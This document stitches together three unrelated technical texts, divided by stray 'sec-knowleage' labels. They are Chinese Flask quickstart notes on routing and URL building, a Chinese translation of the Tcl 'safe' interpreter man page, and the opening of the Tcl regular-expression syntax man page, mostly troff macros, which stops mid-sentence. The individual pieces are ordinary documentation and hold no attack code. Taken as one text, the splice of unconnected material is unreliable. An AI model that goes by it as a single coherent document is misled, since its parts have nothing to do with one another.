# flask https://dormousehole.readthedocs.io/en/latest/quickstart.html --- ## 安装 ```bash pip3 install Flask ``` --- ## 使用 一个最小的 Flask 应用如下 ```py from flask import Flask app = Flask(__name__) @app.route("/") def hello_world(): return "<p>Hello, World!</p>" ``` 首先我们导入了 Flask 类。该类的实例将会成为我们的 WSGI 应用。 接着我们创建一个该类的实例。第一个参数是应用模块或者包的名称。 `__name__` 是一个适用于大多数情况的快捷方式。有了这个参数, Flask 才能知道在哪里可以找到模板和静态文件等东西。 然后我们使用 `route()` 装饰器来告诉 Flask 触发函数 的 URL 。 函数返回需要在用户浏览器中显示的信息。默认的内容类型是 HTML ,因此字 符串中的 HTML 会被浏览器渲染。 把它保存为 hello.py 或其他类似名称。请不要使用 flask.py 作为应用名称,这会与 Flask 本身发生冲突。 可以使用 flask 命令或者 python 的 -m 开关来运行这个应 用。在运行应用之前,需要在终端里导出 FLASK_APP 环境变量: ```bash export FLASK_APP=hello flask run flask run --host=0.0.0.0 ``` 如果文件名为 app.py 或者 wsgi.py ,那么不需要设置 FLASK_APP 环境变量。 **常见问题** - 老版本的 Flask 版本低于 0.11 的 Flask ,启动应用的方式是不同的。简单的说就是 flask 和 python -m flask 命令都无法使用。在这种情 况下有两个选择:一是升级 Flask 到更新的版本,二是学习其他启动服务器的方法。 - 非法导入名称 FLASK_APP 环境变量中储存的是模块的名称,运行 flask run 命令就 会导入这个模块。如果模块的名称不对,那么就会出现导入错误。出现错误的时机是在 应用开始的时候。如果调试模式打开的情况下,会在运行到应用开始的时候出现导入 错误。出错信息会告诉您尝试导入哪个模块时出错,为什么会出错。 最常见的错误是因为拼写错误而没有真正创建一个 app 对象。 ### 开发功能 flask run 命令不只可以启动开发服务器。如果您打开调试模式,那么服务 器会在修改应用代码之后自动重启,并且当请求过程中发生错误时还会在浏览器 中提供一个交互调试器。 调试器允许执行来自浏览器的任意 Python 代码。虽然它由一个 pin 保护, 但仍然存在巨大安全风险。不要在生产环境中运行开发服务器或调试器。 ```bash export FLASK_ENV=development flask run ``` ### 路由 ```py @app.route('/') def index(): return 'Index Page' @app.route('/hello') def hello(): return 'Hello, World' ``` ### 变量规则 通过把 URL 的一部分标记为 `<variable_name>` 就可以在 URL 中添加变量。标记的 部分会作为关键字参数传递给函数。通过使用 `<converter:variable_name>` ,可以 选择性的加上一个转换器,为变量指定规则。请看下面的例子: ```py from markupsafe import escape @app.route('/user/<username>') def show_user_profile(username): # show the user profile for that user return f'User {escape(username)}' @app.route('/post/<int:post_id>') def show_post(post_id): # show the post with the given id, the id is an integer return f'Post {post_id}' @app.route('/path/<path:subpath>') def show_subpath(subpath): # show the subpath after /path/ return f'Subpath {escape(subpath)}' ``` ### 唯一的 URL / 重定向行为 以下两条规则的不同之处在于是否使用尾部的斜杠。 ```py @app.route('/projects/') def projects(): return 'The project page' @app.route('/about') def about(): return 'The about page' ``` projects 的 URL 是中规中矩的,尾部有一个斜杠,看起来就如同一个文件 夹。访问一个没有斜杠结尾的 URL ( /projects )时 Flask 会自动进行重 定向,帮您在尾部加上一个斜杠( /projects/ )。 about 的 URL 没有尾部斜杠,因此其行为表现与一个文件类似。如果访问这 个 URL 时添加了尾部斜杠(`/about/` )就会得到一个 404 “未找到” 错 误。这样可以保持 URL 唯一,并有助于搜索引擎重复索引同一页面。 ### URL 构建 url_for() 函数用于构建指定函数的 URL。它把函数名称作为第一个 参数。它可以接受任意个关键字参数,每个关键字参数对应 URL 中的变量。未知变量 将添加到 URL 中作为查询参数。 ```py from flask import url_for app = Flask(__name__) @app.route('/') def index(): return 'index' @app.route('/login') def login(): return 'login' @app.route('/user/<username>') def profile(username): return f'{username}\'s profile' with app.test_request_context(): print(url_for('index')) print(url_for('login')) print(url_for('login', next='/')) print(url_for('profile', username='John Doe')) ``` ``` / /login /login?next=/ /user/John%20Doe ``` ### HTTP 方法 Web 应用使用不同的 HTTP 方法处理 URL 。当您使用 Flask 时,应当熟悉 HTTP 方法。 缺省情况下,一个路由只回应 GET 请求。 可以使用 route() 装饰器的 methods 参数来处理不同的 HTTP 方法: ```py from flask import request @app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'POST': return do_the_login() else: return show_the_login_form() ``` 如果当前使用了 GET 方法, Flask 会自动添加 HEAD 方法支持,并且同时还会 按照 HTTP RFC 来处理 HEAD 请求。同样, OPTIONS 也会自动实现。
sec-knowleage
'\" '\" Copyright (c) 1995-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: safe.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: safe.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .TH "safe" 3tcl 8.0 Tcl "Tcl Built-In Commands" .SH NAME Safe \- 用来建立和操纵安全解释器的机制。 .SH "总览 SYNOPSIS" \fB::safe::interpCreate\fR ?\fIslave\fR? ?\fIoptions...\fR? .sp \fB::safe::interpInit\fR \fIslave\fR ?\fIoptions...\fR? .sp \fB::safe::interpConfigure\fR \fIslave\fR ?\fIoptions...\fR? .sp \fB::safe::interpDelete\fR \fIslave\fR .sp \fB::safe::interpAddToAccessPath\fR \fIslave\fR \fIdirectory\fR .sp \fB::safe::interpFindInAccessPath\fR \fIslave\fR \fIdirectory\fR .sp \fB::safe::setLogCmd\fR ?\fIcmd arg...\fR? .SH OPTIONS .PP ?\fB\-accessPath\fR \fIpathList\fR? ?\fB\-statics\fR \fIboolean\fR? ?\fB\-noStatics\fR? ?\fB\-nested\fR \fIboolean\fR? ?\fB\-nestedLoadOk\fR? ?\fB\-deleteHook\fR \fIscript\fR? .SH "描述 DESCRIPTION" Safe Tcl 是一种机制,用于安全的执行不可信任的 Tcl 脚本,并为有潜在危险功能的脚本提供访问中介。 .PP Safe Base 确保不可信任的 Tcl 脚本不能损坏宿主应用。Safe Base 防止完整性和隐私攻击。防止不可信任的 Tcl 脚本败坏宿主应用或计算机的状况。防止不可信任的脚本把存储在宿主主机或宿主应用中的信息泄露给任何人群。 .PP Safe Base 允许一个主解释器建立安全、受限制的解释器,它包括为 \fBsource\fR, \fBload\fR, \fBfile\fR, \fBencoding\fR, 和 \fBexit\fR 命令预定义的一系列别名,并可以使用自动装载和包机制。 .PP 不向安全解释器透露文件系统的任何东西,它只能访问包含记号(token)的虚拟的路径。当安全解释器请求 source(载入)一个文件的时候,它使用在虚拟路径中的记号作为要 source 的文件名的一部分;主解释器透明的把这个记号转换成一个实际的路径名并执行所要求的操作 (详情参见下面的 \fBSECURITY\fR 安全 章节). 可以使用下面描述的命令标志来选择不同的安全级别。 .PP Safe Base 在主解释器中提供的所有命令驻留在 \fBsafe\fR 名字空间中: .SH "命令 COMMANDS" 在主解释器中提供了下列命令: .TP \fB::safe::interpCreate\fR ?\fIslave\fR? ?\fIoptions...\fR? 建立一个安全解释器,安装在\fBALIASES\fR 别名 章节中描述的别名并初始化在 \fBOPTIONS\fR 选项 中提供的自动装载和包机制。对可选择的参数的描述请参见下面 \fBOPTIONS\fR 选项 章节。如果省略了\fIslave\fR 参数,则生成一个名字。\fB::safe::interpCreate\fR 总是返回解释器的名字。 .TP \fB::safe::interpInit\fR \fIslave\fR ?\fIoptions...\fR? 除了不建立安全解释器之外,这个命令类似于 \fBinterpCreate\fR 命令。必须已经通过其他方式如 \fBinterp create -safe\fR建立了这个 \fIslave\fR。 .TP 如果未给出 \fIoptions\fR,则把给指名的这个解释器所有选项的设置返回为给这个 \fIslave \fR的选项和它们当前的值的一个列表。如果提供了一个单一的补充参数,它将返回有两个元素 \fIname\fR 和 \fIvalue\fR 的一个列表,这里的 \fIname\fR 是选项的全名而 \fIvalue\fR 是给 \fIslave \fR的这个选项当前值。如果提供多于两个补充选项,它将重新配置这个安全解释器并只改变每个提供的选项。关于选项的描述请参见下面的 OPTIONS 章节。使用的例子: .RS # Create a new interp with the same configuration as "$i0" : set i1 [eval safe::interpCreate [safe::interpConfigure $i0]] # Get the current deleteHook set dh [safe::interpConfigure $i0 \-del] # Change (only) the statics loading ok attribute of an interp # and its deleteHook (leaving the rest unchanged) : safe::interpConfigure $i0 \-delete {foo bar} \-statics 0 ; .RE .TP \fB::safe::interpDelete\fR \fIslave\fR 删除这个安全解释器并清除相应的主解释器数据结构。如果为这个解释器指定了一个 \fIdeleteHook\fR 脚本,则在删除这个解释器之前执行这个脚本,把这个解释器的名字作为一个补充参数。 .TP \fB::safe::interpFindInAccessPath\fR \fIslave\fR \fIdirectory\fR 这个命令寻找并返回在安全解释器的当前虚拟访问路径中给实际路径 \fIdirectory\fR 的记号。如果未找到这个路径则生成一个错误。使用的例子: .RS $slave eval [list set tk_library [::safe::interpFindInAccessPath $name $tk_library]] .RE .TP \fB::safe::interpAddToAccessPath\fR \fIslave\fR \fIdirectory\fR 这个命令把 \fIdirectory\fR 添加到在主解释器中为安全解释器维护的虚拟路径中,并返回可在安全解释器中被用来获得到在这个目录中的文件的访问的记号。如果这个路径已经存在于虚拟路径中,则它只返回记号而不再次把这个路径添加到虚拟路径中。使用的例子: .RS $slave eval [list set tk_library [::safe::interpAddToAccessPath $name $tk_library]] .RE .TP \fB::safe::setLogCmd\fR ?\fIcmd arg...\fR? 这个命令安装在一个脚本,在这个安全解释器的特定的生命周期事件发生的时候将被调用。在调用这个命令而不加参数时,它返回当前安装的脚本。在调用并加一个参数空串时,则删除当前安装的脚本并关闭日志记录。调用这个脚本时将加上一个补充参数,它描述所感兴趣的事件。主要的目的是帮助调试安全解释器。在安全解释器只能得到一个一般错误消息的时候你可以使用这个设施获得完整的错误消息。这防止安全解释器见到关于失败的消息和其他可能包含敏感信息如真实路径名的其他事件的消息。 .RS 使用的例子: ::safe::setLogCmd puts stderr 下面是一个样本对话的输出,这里一个安全解释器尝试着 source 一个在它的虚拟 访问路径中找不到的文件。注意这个安全解释器只接收到一个错误消息,说这个文 件未找到: .nf NOTICE for slave interp10 : Created NOTICE for slave interp10 : Setting accessPath=(/foo/bar) staticsok=1 nestedok=0 deletehook=() NOTICE for slave interp10 : auto_path in interp10 has been set to {$p(:0:)} ERROR for slave interp10 : /foo/bar/init.tcl: no such file or directory .fi .RE .SH "选项 OPTIONS" 下列选项通用于 \fB::safe::interpCreate\fR、\fB::safe::interpInit\fR、和 \fB::safe::interpConfigure\fR。任何选项都可缩写为它的最小的无歧义的名字。选项的名字是大小写不敏感的。 .TP \fB\-accessPath\fR \fIdirectoryList\fR 这个选项设置目录的列表,安全解释器可以从中 \fBsource\fR 和 \fBload\fR 文件。如果未指定这个选项,或者它被给定为一个空列表,安全解释器将使用的目录同与它的主解释器用于自动装载的目录。关于虚拟路径、记号和访问控制的详情请参见下面的 \fBSECURITY\fR 安全 章节。 .TP \fB\-statics\fR \fIboolean\fR 这个选项指定是否允许这个安全解释器装载静态连接包(如 \fBload {} Tk\fR)。缺省值是 \fBtrue\fR : 允许安全解释器装载静态连接包。 .TP \fB\-noStatics\fR 这个选项是 \fB-statics false\fR 的一个方便的简写,它指定不允许这个安全解释器装载静态连接包。 .TP \fB\-nested\fR \fIboolean\fR 这个选项指定是否允许这个安全解释器把包装载到它自己的子解释器中。缺省值是 \fBfalse\fR : 不允许安全解释器把包装载到它自己的子解释器中。 .TP \fB\-nestedLoadOk\fR 这个选项是 \fB-nested true\fR 的一个方便的简写,它指定允许安全解释器把包装载到它自己的子解释器中。 .TP \fB\-deleteHook\fR \fIscript\fR 当给这个选项以一个非空的 \fIscript\fR 的时候,它将在实际删除这个从解释器之前在主解释器中被求值,并加上这个安全解释器的名字作为一个补充的参数。给予一个空值则去除任何当前为这个安全解释器安装的删除回调(hook)脚本。缺省值(\fB{}\fR)是没有任何删除回调脚本。 .SH "别名 ALIASES" 在安全解释器中提供了下列别名: .TP \fBsource\fR \fIfileName\fR 如果找到了要求的这个 Tcl 源文件,则把它 source(装载)到安全解释器中。 \fBsource\fR 别名只可以从给这个安全解释器的虚拟路径中的目录 source 文件。 关于在有效文件名上的限制的更多信息请参见 \fBSECURITY\fR 安全 章节。 .TP \fBload\fR \fIfileName\fR 如果找到了要求的这个共享的目标文件,则把它动态的装载到安全解释器中。为了能成功的找到它,文件名必须包含在给这个安全解释器的虚拟路径中提及的一个记号的名字。还有,这个共享的目标文件必须包含一个安全入口点;详情请参见 \fBload\fR 命令的手册条目。 .TP \fBfile\fR ?\fIsubCmd args...\fR? \fBfile\fR 别名提供到 \fBfile\fR命令的子命令的一个安全子集的访问;它只允许 \fBdirname\fR、\fBjoin\fR、 \fBextension\fR、\fBroot\fR、\fBtail\fR、\fBpathname\fR 和 \fBsplit\fR 子命令。关于这些子命令的详情请参见 \fBfile\fR 命令的手册条目。 .TP \fBencoding\fR ?\fIsubCmd args...\fR? \fBenconding\fR 别名提供到 \fBencoding\fR 命令的子命令的一个安全子集的访问;它不允许设置系统编码,不允许其他子命令包括 \fBsystem\fR 检查当前编码。 .TP \fBexit\fR 删除调用它的脚本并停止它的计算,但这个解释器存在于其中的那个 Tcl 进程不被终止。 .SH "安全 SECURITY" Safe Base 不尝试完全的防止烦恼(annoyance)和拒绝服务攻击。这些形式的攻击妨碍应用或用户临时的使用计算机来完成有用的工作,例如消耗所有可利用的 CPU 时间或所有可利用的屏幕 real estate。这些攻击尽管很恶劣,但一般不如 Safe Base 主要防护的完整性和隐私攻击那么重要。 .PP 除了在 \fBinterp\fR 手册页中定义的安全命令集之外,在安全解释器中可获得的命令还包括给 \fBsource\fR、\fBload\fR、\fBexit\fR 的作为中介的(mediate)别名以及 \fBfile\fR 和 \fBencoding\fR 命令的安全子集。安全解释器还可以自动装载代码并可以请求装载包。 .PP 因为这些命令中的一些命令访问本地文件系统,存在着对它的目录结构的潜在的信息泄露。为了防止这个问题,接受文件名作为参数的命令在安全解释器中使用记号来替代真实的目录名。在主解释器中介一个要求例如 source 一个文件的时候,把这些记号转换成实际路径名。在主解释器中维护这个虚拟路径系统,针对每个用 \fB::safe::interpCreate\fR 建立的或用 \fB::safe::interpInit\fR 初始化的安全解释器,这个路径把在安全解释器中可访问的记号映射成在本地文件系统上的真实路径名,这样就防止了安全解释器去获取关于这个解释器在其上执行的主机的文件系统结构的知识。可以提供给从解释器中的 \fBsource\fR 和 \fBload\fR 别名的有效的文件名参数只能是下面这种形式的路径: \fB[file join \fR\fItoken filename\fR\fB]\fR (比如,在使用本地文件路径格式的时候: 在 Unix 上是 \fItoken\fR\fB/\fR\fIfilename\fR,在 Windows 上是 \fItoken\fR\fB\\\fIfilename\fR,在 Mac 上是 \fItoken\fR\fB:\fR\fIfilename\fR ),这里的 \fItoken\fR 表示 \fIaccessPath \fR列表中的一个目录而 \fIfilename\fR 是在这个目录中一个文件(不允许访问子目录)。 .PP 在一个安全解释器中,当在要 source 或装载一个文件的一个请求中使用一个记号的时候,检查这个记号并把它转换成真实路径名,并在文件系统上定位要被 source 或装载的文件。安全解释器不能获取关于文件系统上在其下存储这个文件的实际路径名的知识。 .PP 为了进一步防止潜在的对偶然的包括在可以被安全解释器 source 的文件集中的敏 感文件的信息泄露,限制 \fBsource\fR 别名为访问满足下列约束的文件: 文件名 必须是十四个字符或更短,必须不包含多于一个的点(\(lq\fB.\fR\(rq),不许终止于扩 展 \fB.tcl\fR 或是被调用的 \fBtclIndex\fR。 .PP 初始的访问路径列表中的每个元素将分配一个记号,它们将被设置在从解释器的 \fBauto_path\fR 中并且这个列表的第一个元素将被设置为这个从解释器的 \fBtcl_library\fR。 .PP 如果未给出访问路径参数或者是一个空列表,缺省的行为是让从解释器访问的包与主解释器已经访问了的包相同(更精确的描述: 只允许用 Tcl 写成的包(因为它们将在从解释器中运行所以不可能是危险的)和提供 Safe_Init 入口点的 C 扩展)。为此,用主解释器的 \fBauto_path\fR 来构造从解释器的访问路径。为了从解释器能成功的装载 Tcl 库文件(它自身包括自动装载机制),如果需要的话,把 \fBtcl_library\fR 增加或移动到在从解释器的访问路径中的第一个的位置上,这样从解释器的 \fBtcl_library\fR 将与主解释器的相同(它的真实路径对从解释器仍是不可见的)。为了使自动装载对于从解释器和主解释器在缺省的情况下以相同的方式工作,在主解释器 \fBauto_path\fR 中的每个目录的第一层子目录将被添加(如果未曾包含的话)到从解释器的访问路径中。你总是可以通过显式的使用 \fB-accessPath\fR 标志指定你的目录列表,而不是依赖于这个缺省机制,来指定一个更受限制的路径,它的子目录永远不能被查找。 .PP 在首次建立或初始化(例如通过 \fBinterpConfigure -accessPath \fR\fIlist\fR)之后变更 \fIaccessPath\fR 的时候,将在安全解释器中自动的求值 \fBauto_reset\fR 来使它的 \fBauto_index\fR 与新的记号列表同步。 .SH "参见 SEE ALSO" interp(n), library(n), load(n), package(n), source(n), unknown(n) .SH "关键字 KEYWORDS" alias, auto\-loading, auto_mkindex, load, master interpreter, safe interpreter, slave interpreter, source .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/11/07 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
'\" '\" Copyright (c) 1998 Sun Microsystems, Inc. '\" Copyright (c) 1999 Scriptics Corporation '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: re_syntax.n,v 1.3 2004/03/01 14:15:48 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: re_syntax.n,v 1.3 2004/03/01 14:15:48 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH re_syntax 3tcl "8.1" Tcl "Tcl Built-In Commands" .BS .SH NAME re_syntax \- Tcl 正则表达式的语法。 .BE .SH "描述 DESCRIPTION" .PP 一个\fB正则表达式\fR (\fIregular expression\fR ) 描述了一类字符串。它是匹配特定字符串而不匹配其他的字符串的一个模式。 .SH "RE 的不同风格 DIFFERENT FLAVORS OF REs" 正则表达式(“RE”)由 POSIX 定义,有两种风格(flavor): \fB扩展\fR RE(``EREs'')和\fB基本\fRRE(``BREs'')。ERE 粗略的相当于传统的 \fBegrep\fR \fI\fR的正则表达式,而 BRE 粗略的相当于传统的 \fBed\fR 的正则表达式。这个实现增加了第三种风格,\fB高级\fRRE(``AREs''),它基本上是 ERE 再加上一些重要的扩展。 .PP 译注:grep 缺省支持 BRE,通过指定 -E 选项来支持 ERE,历史上的 egrep 和 fgrep 已经合并入 grep 中。ed、sed 支持 BRE,lex、AWK 支持 ERE。 .PP 这个手册页主要描述 ARE。提供 BRE 主要是为了在一些老程序中反向(backward)兼容;它们将最后讨论。POSIX ERE 基本上是 ARE 的一个真子集。在 ERE 中不存在的 ARE 的特征将被指示出来。 .SH "正则表达式的语法 REGULAR EXPRESSION SYNTAX" .PP 实现 Tcl 正则表达式使用了 Henry Spencer 写的包,基于 POSIX 1003.2 规定和一些(不是全部) Perl5 扩展 (感谢 Henry!)。下面的许多正则表达式描述是原封不动的从他的手册页复制过来的。 .PP 译注:Perl5 的正则表达式也是从 Henry Spencer 所写的包演变而来。 .PP 一个 ARE 是一个或多个由`\fB|\fR'分隔的\fB分支\fR(branch)(构成的),它匹配与任何一个分支匹配的一个字符序列。 .PP 一个分支是零或多个串联起来的\fB约束\fR(constraint)或\fB定量\fR\fB原子\fR(quantified atom)(构成的)。它与每个构件(约束或定量原子)所匹配的任何字符序列的一个串联相匹配,组成这个字符序列的串联的第一个字符序列与这个分支的第一个构件相匹配,第二个字符序列与第二个构件相匹配,以此类推。一个空分支匹配空串。 .PP 一个定量原子是可能跟随一个单一的\fB定量符\fR (quantifier) 的原子。不加定量符,它匹配这个原子的一个匹配。定量符和它所定量的原子的匹配如下: .RS 2 .TP 6 \fB*\fR 零个或多个这个原子的匹配的一个序列 .TP \fB+\fR 一个或多个这个原子的匹配的一个序列 .TP \fB?\fR 零个或一个这个原子的匹配的一个序列 .TP \fB{\fIm\fB}\fR 严格的 \fIm\fR 个这个原子的匹配的一个序列 .TP \fB{\fIm\fB,}\fR \fIm\fR 或更多个这个原子的匹配的一个序列 .TP \fB{\fIm\fB,\fIn\fB}\fR 从 \fIm\fR 到 \fIn\fR (包括二者)个这个原子的匹配的一个序列;\fIm\fR 不能超过 \fIn\fR .TP \fB*? +? ?? {\fIm\fB}? {\fIm\fB,}? {\fIm\fB,\fIn\fB}?\fR 不贪婪的 (\fInon-greedy\fR) 定量符,它匹配与上面相同的可能性,但偏好最小字符数而不是最大字符数的匹配(参见MATCHING 匹配)。 .RE .PP 使用 \fB{\fR 和 \fB}\fR 的形式叫做\fB束缚\fR(bound)。数 \fIm\fR 和 \fIn\fR 是无符号十进制整数,允许的值从 0 到 255(包括0 及 255)。 .PP \fB原子\fR是下列之一: .RS 2 .TP 6 \fB(\fIre\fB)\fR (这里的 \fIre\fR 是任何正则表达式) 匹配对 \fIre \fR的一个匹配,为可能的报告而记录(最长和最短的)匹配 译注:使用圆括号来组合原子。例如,ab* 被识别为原子 a 和原子 b 的闭包 b* 的串联 a(b)*,而不是原子 a 和原子 b 的串联 ab 的闭包 (ab)*。捕获的意思是把在圆括号中的子表达式所匹配的字符序列保存下来,由后续的后引用去使用。 .TP \fB(?:\fIre\fB)\fR 同上,但不报告(设置为“非捕获”的圆括号) .TP \fB()\fR 匹配一个空串,为可能的报告而记录(匹配) .TP \fB(?:)\fR 匹配一个空串,不报告 .TP \fB[\fIchars\fB]\fR 一个方括号表达式 (\fIbracket expression\fR) ,匹配 \fBchars\fR 中的任何一个字符(详情参见 BRACKET EXPRESSIONS 方括号表达式) .TP \fB.\fR 匹配任何单一字符 .TP \fB\e\fIk\fR (这里的 \fIk\fR 是一个非 alphanumeric (字母或数字)字符),匹配被接受为普通字符的这个字符,例如,\e\e 匹配一个反斜杠字符 .TP \fB\e\fIc\fR (这里的 \fIc\fR 是一个 alphanumeric 字符(可能跟随着其他字符)),一个\fB转义 (escape)\fR(专属 ARE),参见后面的ESCAPES 转义) .TP \fB{\fR 当跟随着不是数字的一个字符的时候,匹配左花括号字符`\fB{\fR';在跟随着一个数字的时候,它是一个\fB束缚\fR的开始(参见前面) .TP \fIx\fR 这里 \fIx\fR 是没有其他意义的一个单一字符,匹配这个字符。 .RE .PP \fB约束\fR (constraint) 在指定条件满足的时候匹配一个空串。一个约束不能跟随一个定量符。简单的约束如下;其他的在以后的 ESCAPES 转义 章节中介绍。 译注:约束的术语叫锚定 .RS 2 .TP 8 \fB^\fR 匹配一行的开始 .TP \fB$\fR 匹配一行的结束 .TP \fB(?=\fIre\fB)\fR \fB正前行\fR(positive lookahead) (专属 ARE),匹配任何与 \fIre\fR 相匹配的子串的开始端点 .TP \fB(?!\fIre\fB)\fR \fB负前行\fR(negative lookahead) (专属 ARE),匹配任何不与 \fIre\fR 相匹配的子串的开始端点 .RE .PP 前行约束不能包括后引用(参见后面),并且其中的所有圆括号被认为是非捕获的。 .PP 一个 RE 